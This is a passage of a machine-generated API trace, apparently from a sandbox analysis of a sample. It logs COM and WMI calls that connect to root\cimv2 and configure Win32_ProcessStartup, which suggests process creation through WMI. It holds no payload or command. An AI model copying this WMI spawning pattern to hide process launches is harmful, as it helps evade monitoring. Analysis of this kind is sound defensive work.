[4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb50 | out: ppvObject=0x1b30cb50*=0x0) returned 0x80004002 [0113.975] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2140, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c348 | out: ppvObject=0x1b30c348*=0x0) returned 0x80004002 [0113.975] WbemLocator:IUnknown:AddRef (This=0x1b4d2140) returned 0x3 [0113.975] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2140, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c208 | out: ppvObject=0x1b30c208*=0x0) returned 0x80004002 [0113.975] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2140, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c190 | out: ppvObject=0x1b30c190*=0x0) returned 0x80004002 [0113.975] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2140, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c180 | out: ppvObject=0x1b30c180*=0x0) returned 0x80004002 [0113.975] CoGetContextToken (in: pToken=0x1b30c230 | out: pToken=0x1b30c230) returned 0x0 [0113.975] CoGetContextToken (in: pToken=0x1b30c6b0 | out: pToken=0x1b30c6b0) returned 0x0 [0113.975] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2140, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c770 | out: ppvObject=0x1b30c770*=0x0) returned 0x80004002 [0113.976] WbemLocator:IUnknown:Release (This=0x1b4d2140) returned 0x2 [0113.976] WbemLocator:IUnknown:Release (This=0x1b4d2140) returned 0x1 [0113.976] CoGetContextToken (in: pToken=0x1b30d0f0 | out: pToken=0x1b30d0f0) returned 0x0 [0113.976] CoGetContextToken (in: pToken=0x1b30cff0 | out: pToken=0x1b30cff0) returned 0x0 [0113.976] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2140, riid=0x1b30d150*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d120 | out: ppvObject=0x1b30d120*=0x1b4d2140) returned 0x0 [0113.976] WbemLocator:IUnknown:AddRef (This=0x1b4d2140) returned 0x3 [0113.976] WbemLocator:IUnknown:Release (This=0x1b4d2140) returned 0x2 [0113.976] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0660, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0113.976] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0660, lFlags=8, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0113.976] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0660, lFlags=8, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0113.976] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d190 | out: ppv=0x1b30d190*=0x1b4d2660) returned 0x0 [0113.976] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b4d2660, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d3d8 | out: ppNamespace=0x1b30d3d8*=0x1b4e0620) returned 0x0 [0114.376] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0620, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30d008 | out: ppvObject=0x1b30d008*=0x1b4acb90) returned 0x0 [0114.376] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b4acb90, pProxy=0x1b4e0620, pAuthnSvc=0x1b30d0d0, pAuthzSvc=0x1b30d050, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054, pImpLevel=0x1b30d060, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064 | out: pAuthnSvc=0x1b30d0d0*=0xa, pAuthzSvc=0x1b30d050*=0x0, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054*=0x6, pImpLevel=0x1b30d060*=0x2, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064*=0x1) returned 0x0 [0114.376] WbemLocator:IUnknown:Release (This=0x1b4acb90) returned 0x1 [0114.376] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0620, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfa0 | out: ppvObject=0x1b30cfa0*=0x1b4acbd8) returned 0x0 [0114.376] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0620, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfb0 | out: ppvObject=0x1b30cfb0*=0x1b4acb90) returned 0x0 [0114.376] WbemLocator:IClientSecurity:SetBlanket (This=0x1b4acb90, pProxy=0x1b4e0620, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0114.376] WbemLocator:IUnknown:Release (This=0x1b4acb90) returned 0x2 [0114.376] WbemLocator:IUnknown:Release (This=0x1b4acbd8) returned 0x1 [0114.376] CoTaskMemFree (pv=0x1b462000) [0114.377] WbemLocator:IUnknown:Release (This=0x1b4d2660) returned 0x0 [0114.377] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0620, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x1b4acbd8) returned 0x0 [0114.377] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4acbd8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb30 | out: ppvObject=0x1b30cb30*=0x0) returned 0x80004002 [0114.381] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4acbd8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x0) returned 0x80004002 [0114.404] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0620, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c328 | out: ppvObject=0x1b30c328*=0x0) returned 0x80004002 [0114.425] WbemLocator:IUnknown:AddRef (This=0x1b4acbd8) returned 0x3 [0114.425] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4acbd8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c1e8 | out: ppvObject=0x1b30c1e8*=0x0) returned 0x80004002 [0114.425] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4acbd8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c170 | out: ppvObject=0x1b30c170*=0x0) returned 0x80004002 [0114.425] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4acbd8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c160 | out: ppvObject=0x1b30c160*=0x1b4acab8) returned 0x0 [0114.425] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b4acab8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c188 | out: pCid=0x1b30c188*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0114.425] WbemLocator:IUnknown:Release (This=0x1b4acab8) returned 0x3 [0114.428] CoGetContextToken (in: pToken=0x1b30c210 | out: pToken=0x1b30c210) returned 0x0 [0114.428] CoGetContextToken (in: pToken=0x1b30c690 | out: pToken=0x1b30c690) returned 0x0 [0114.428] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4acbd8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x1b4acba0) returned 0x0 [0114.428] WbemLocator:IRpcOptions:Query (in: This=0x1b4acba0, pPrx=0x1b4acbd8, dwProperty=2, pdwValue=0x1b30c740 | out: pdwValue=0x1b30c740) returned 0x80004002 [0114.428] WbemLocator:IUnknown:Release (This=0x1b4acba0) returned 0x3 [0114.428] WbemLocator:IUnknown:Release (This=0x1b4acbd8) returned 0x2 [0114.428] CoGetContextToken (in: pToken=0x1b30cd50 | out: pToken=0x1b30cd50) returned 0x0 [0114.428] CoGetContextToken (in: pToken=0x1b30cc50 | out: pToken=0x1b30cc50) returned 0x0 [0114.428] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4acbd8, riid=0x1b30cdb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30cd80 | out: ppvObject=0x1b30cd80*=0x1b4e0620) returned 0x0 [0114.428] WbemLocator:IUnknown:AddRef (This=0x1b4e0620) returned 0x4 [0114.428] WbemLocator:IUnknown:Release (This=0x1b4e0620) returned 0x3 [0114.428] WbemLocator:IUnknown:Release (This=0x1b4e0620) returned 0x2 [0114.428] SysStringLen (param_1=0x0) returned 0x0 [0114.428] CoGetContextToken (in: pToken=0x1b30cf00 | out: pToken=0x1b30cf00) returned 0x0 [0114.428] WbemLocator:IUnknown:AddRef (This=0x1b4acbd8) returned 0x3 [0114.428] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4acbd8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf00 | out: ppvObject=0x1b30cf00*=0x1b4acbd8) returned 0x0 [0114.429] WbemLocator:IUnknown:Release (This=0x1b4acbd8) returned 0x3 [0114.429] WbemLocator:IUnknown:Release (This=0x1b4acbd8) returned 0x2 [0114.429] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af520, lFlags=2, puBuffLength=0x1b30d600*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d600*=0x15, pszText=0x0) returned 0x0 [0114.429] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af520, lFlags=2, puBuffLength=0x1b30d600*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d600*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0114.429] IWbemServices:GetObject (in: This=0x1b4e0620, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b30d580*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d580*=0x1b4d7590, ppCallResult=0x0) returned 0x0 [0114.432] IWbemClassObject:Get (in: This=0x1b4d7590, wszName="__PATH", lFlags=0, pVal=0x1b30d510*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d678*=0, plFlavor=0x1b30d670*=0 | out: pVal=0x1b30d510*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b30d678*=8, plFlavor=0x1b30d670*=64) returned 0x0 [0114.432] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0114.432] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0114.432] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d548 | out: ppv=0x1b30d548*=0x6124e8) returned 0x0 [0114.432] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d538 | out: pAptType=0x1b30d538*=1) returned 0x0 [0114.432] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d540 | out: ppvObject=0x1b30d540*=0x0) returned 0x80004002 [0114.432] IUnknown:Release (This=0x6124e8) returned 0x1 [0114.433] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c938 | out: ppv=0x1b30c938*=0x1b4d2160) returned 0x0 [0114.433] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2160, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ca20 | out: ppvObject=0x1b30ca20*=0x0) returned 0x80004002 [0114.433] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2160, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9f8 | out: ppvObject=0x1b30c9f8*=0x1b4b0360) returned 0x0 [0114.433] WbemDefPath:IUnknown:Release (This=0x1b4d2160) returned 0x0 [0114.433] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0360, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c7a0 | out: ppvObject=0x1b30c7a0*=0x1b4b0360) returned 0x0 [0114.433] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0360, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c830 | out: ppvObject=0x1b30c830*=0x0) returned 0x80004002 [0114.433] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0360, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c028 | out: ppvObject=0x1b30c028*=0x0) returned 0x80004002 [0114.434] WbemDefPath:IUnknown:AddRef (This=0x1b4b0360) returned 0x3 [0114.434] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0360, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bee8 | out: ppvObject=0x1b30bee8*=0x0) returned 0x80004002 [0114.434] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0360, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be70 | out: ppvObject=0x1b30be70*=0x0) returned 0x80004002 [0114.434] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0360, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be60 | out: ppvObject=0x1b30be60*=0x1b4d2420) returned 0x0 [0114.453] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2420, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be88 | out: pCid=0x1b30be88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0114.453] WbemDefPath:IUnknown:Release (This=0x1b4d2420) returned 0x3 [0114.453] CoGetContextToken (in: pToken=0x1b30bf10 | out: pToken=0x1b30bf10) returned 0x0 [0114.453] CoGetContextToken (in: pToken=0x1b30c390 | out: pToken=0x1b30c390) returned 0x0 [0114.453] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0360, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c450 | out: ppvObject=0x1b30c450*=0x0) returned 0x80004002 [0114.453] WbemDefPath:IUnknown:Release (This=0x1b4b0360) returned 0x2 [0114.453] WbemDefPath:IUnknown:Release (This=0x1b4b0360) returned 0x1 [0114.454] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0114.454] CoGetContextToken (in: pToken=0x1b30d080 | out: pToken=0x1b30d080) returned 0x0 [0114.454] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0360, riid=0x1b30d1e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d1b0 | out: ppvObject=0x1b30d1b0*=0x1b4b0360) returned 0x0 [0114.454] WbemDefPath:IUnknown:AddRef (This=0x1b4b0360) returned 0x3 [0114.454] WbemDefPath:IUnknown:Release (This=0x1b4b0360) returned 0x2 [0114.454] WbemDefPath:IWbemPath:SetText (This=0x1b4b0360, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0114.454] IWbemClassObject:Get (in: This=0x1b4d7590, wszName="CreateFlags", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a2b718*=0, plFlavor=0x2a2b71c*=0 | out: pVal=0x1b30d590*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a2b718*=19, plFlavor=0x2a2b71c*=0) returned 0x0 [0114.454] IWbemClassObject:Get (in: This=0x1b4d7590, wszName="CreateFlags", lFlags=0, pVal=0x1b30d580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a2b718*=19, plFlavor=0x2a2b71c*=0 | out: pVal=0x1b30d580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a2b718*=19, plFlavor=0x2a2b71c*=0) returned 0x0 [0114.454] IWbemClassObject:Put (This=0x1b4d7590, wszName="CreateFlags", lFlags=0, pVal=0x1b30d5e0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0114.454] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b01e0, puCount=0x1b30d568 | out: puCount=0x1b30d568*=0x0) returned 0x0 [0114.454] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0114.454] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0114.454] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0114.454] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d478 | out: ppv=0x1b30d478*=0x6124e8) returned 0x0 [0114.455] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d468 | out: pAptType=0x1b30d468*=1) returned 0x0 [0114.455] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d470 | out: ppvObject=0x1b30d470*=0x0) returned 0x80004002 [0114.455] IUnknown:Release (This=0x6124e8) returned 0x1 [0114.455] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c868 | out: ppv=0x1b30c868*=0x1b4d2a80) returned 0x0 [0114.456] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2a80, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c950 | out: ppvObject=0x1b30c950*=0x0) returned 0x80004002 [0114.456] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2a80, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c928 | out: ppvObject=0x1b30c928*=0x1b4afd60) returned 0x0 [0114.456] WbemDefPath:IUnknown:Release (This=0x1b4d2a80) returned 0x0 [0114.456] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afd60, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6d0 | out: ppvObject=0x1b30c6d0*=0x1b4afd60) returned 0x0 [0114.456] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afd60, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x0) returned 0x80004002 [0114.456] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afd60, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf58 | out: ppvObject=0x1b30bf58*=0x0) returned 0x80004002 [0114.456] WbemDefPath:IUnknown:AddRef (This=0x1b4afd60) returned 0x3 [0114.456] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afd60, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be18 | out: ppvObject=0x1b30be18*=0x0) returned 0x80004002 [0114.456] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afd60, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bda0 | out: ppvObject=0x1b30bda0*=0x0) returned 0x80004002 [0114.456] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afd60, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, 